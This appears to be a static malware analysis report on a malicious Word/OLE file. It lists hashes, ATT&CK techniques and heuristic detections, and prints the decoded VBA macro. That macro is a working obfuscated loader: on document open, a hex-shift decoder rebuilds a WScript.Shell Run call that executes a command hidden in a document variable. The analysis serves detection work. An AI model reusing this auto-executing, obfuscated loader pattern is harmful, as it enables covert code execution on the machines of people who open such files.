Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8ec07879eec42de…

MALICIOUS

Office (OLE)

36.0 KB Created: 2018-06-25 10:44:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 99860e48fd49b9f9c6a21f5f0f9f68e4 SHA-1: 0eb94150172153f60e5888cd28a9f2612b864267 SHA-256: a8ec07879eec42de49dc9fc866d9d80a9b763764c899b3b73e9caf5a2ae483f4
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains heavily obfuscated VBA macros, including auto-executing routines like Document_Open and Workbook_Open. These macros utilize CreateObject and CallByName, indicative of attempts to execute arbitrary code, likely to download and run a secondary payload. The ClamAV detection 'Xls.Malware.Valyria-6700360-0' further supports its malicious nature. The obfuscation and use of standard Office macro execution techniques suggest a downloader or initial access payload.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2559 bytes
SHA-256: 8928b0f1b356882b56d981d866476bcc872ac8ecb5a7460091b4fe7bb5ee6996
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function CQPUTU() As String
D aCQPUTU As String
aCQPUTU = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myCQPUTU = aCQPUTU
DimDimMsgBox ((aCQPUTU & myCQPUTU, 28))
End Function

Public Sub CRJ_()
    Dim XQ_ As Object: Set XQ_ = CreateObject(IHM_("6D6979887F868A44697E7B8282"))
    CallByName XQ_, IHM_("688B84"), VbMethod, IHM_(ActiveDocument.Variables("TXTCZUN").Value), 0, True
End Sub
Private Function WSWHVW() As String
D aWSWHVW As String
aWSWHVW = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myWSWHVW = aWSWHVW
DimDimMsgBox ((aWSWHVW & myWSWHVW, 28))
End Function

Sub DNBBTJKL_()
    CRJ_
End Sub
Private Function XHRTDD() As String
D aXHRTDD As String
aXHRTDD = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myXHRTDD = aXHRTDD
DimDimMsgBox ((aXHRTDD & myXHRTDD, 28))
End Function

Public Sub Document_Open()
    Application.Run IHM_("5A6458586A60616275")
End Sub
Private Function ZWFEFU() As String
D aZWFEFU As String
aZWFEFU = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myZWFEFU = aZWFEFU
DimDimMsgBox ((aZWFEFU & myZWFEFU, 28))
End Function

Sub Workbook_Open()
    DNBBTJKL_
End Sub
Private Function PLGYTH() As String
D aPLGYTH As String
aPLGYTH = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myPLGYTH = aPLGYTH
DimDimMsgBox ((aPLGYTH & myPLGYTH, 28))
End Function

Public Function IHM_(ByVal XQ_ As String)
   Dim Y_ As String
   Dim C_ As Long
   For C_ = 1 To Len(XQ_) Step 2
        Dim FS_ As Long: FS_ = CLng(Chr(38) & Chr(72) & Mid(XQ_, C_, 2))
        Y_ = Y_ & Chr(FS_ - 22)
   Next
   IHM_ = Y_
End Function
Private Function DXCAVF() As String
D aDXCAVF As String
aDXCAVF = "5E5A5D5E264F5E5E5E5E258F595E2A5E665E5E5E5E5E5E82285E915E8F5E3C5E3F5E5E978F5E21826518375E5E5E5E5E88467B5E5E638F815E62"
Dim myDXCAVF = aDXCAVF
DimDimMsgBox ((aDXCAVF & myDXCAVF, 28))
End Function

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